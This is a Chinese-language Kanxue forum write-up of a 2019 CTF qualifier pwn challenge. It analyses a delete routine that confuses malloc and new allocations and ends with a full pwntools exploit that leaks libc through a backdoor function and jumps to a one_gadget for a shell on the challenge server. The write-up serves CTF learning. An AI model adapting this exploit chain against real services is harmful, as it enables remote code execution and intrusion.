-
-
[原创]2019看雪CTF晋级赛Q1-第九题writeup
-
2019-3-17 22:43 2586
-
程序大体流程分析
程序保护情况如下
CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : Partial
程序先打印出Please input your name: 字符串,然后获取用户输入,存到0x602328处,长度为16字节,然后打印出菜单,可以发现比较奇怪的是,菜单函数将_printf_chk函数的返回结果和0xDEADBEEF比较,相等就会执行sub_400E10()函数,但_printf_chk函数的返回值是不可能为0xDEADBEEF,猜测可能是作者特意构造的,后面肯定有用到。
漏洞分析
执行malloc操作后的结构如下:
8字节8字节8字节,8字节8字节8字节依次类推,后2个8字节为输入的字符串
执行new操作后的结构如下
8字节,8字节8字节8字节,8字节8字节8字节依次类推
长度,0x401228+输入的字符串(16字节)
可以发现当delete时,没有判断当前delete的块是malloc分配的还是new分配的,当delete掉malloc分配的块时,就会出现问题。
该函数会把当前块的前8个字节当做内存块的长度,去找到函数指针的指针,然后执行该函数。由于malloc操作后的内存块的前8个字节是chunk的size字段,所以可以构造好堆中的数据,然后跳转到任意地址执行。
漏洞利用
由于程序没有开启PIE,我们可以在输入名字时,输入作者留的后门的地址0x400E10和main函数的地址0x4009A0,然后在堆中构造好数据让程序执行sub_400E10()函数打印出puts的地址,然后执行main函数,然后输入one_gadget地址,让程序跳转到one_gadget处执行。
完整利用代码
from pwn import * #context.log_level='debug' #r=process('./candcpp') r=remote('154.8.222.144',9999) def malloc(str): r.sendline("1") r.recvuntil('Please input length of the string') r.sendline("1") r.recvuntil('Please input the string') r.sendline(str) r.recvuntil('Please input your name: ') r.sendline(p64(0x400e10)+p64(0x0000000004009A0)) r.recvuntil('>> ') for i in range(22): malloc('123456781111') r.recvuntil('>> ') r.sendline("1") r.recvuntil('Please input length of the string') r.sendline("32") r.recvuntil('Please input the string') r.sendline('test12'+p64(0)+p64(0)+p64(0x60233000)+p64(0)+p64(0x602328)) r.recvuntil('>> ') malloc(p64(0)) r.recvuntil('>> ') r.sendline('4') r.recvuntil('Please input index of the string') r.sendline('0') r.recvuntil('\n') str=r.recvline() puts_addr=int(str,16) print "puts_addr: "+hex(puts_addr) libc_addr=puts_addr-0x000000000006F690 one_gadget=0xf02a4 r.recvuntil('Please input your name: ') r.sendline(p64(libc_addr+one_gadget)+p64(0x0000000004009A0)) r.recvuntil('>> ') r.sendline('4') r.recvuntil('Please input index of the string') r.sendline('0') r.recvuntil('\n') r.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
赞赏
他的文章
看原图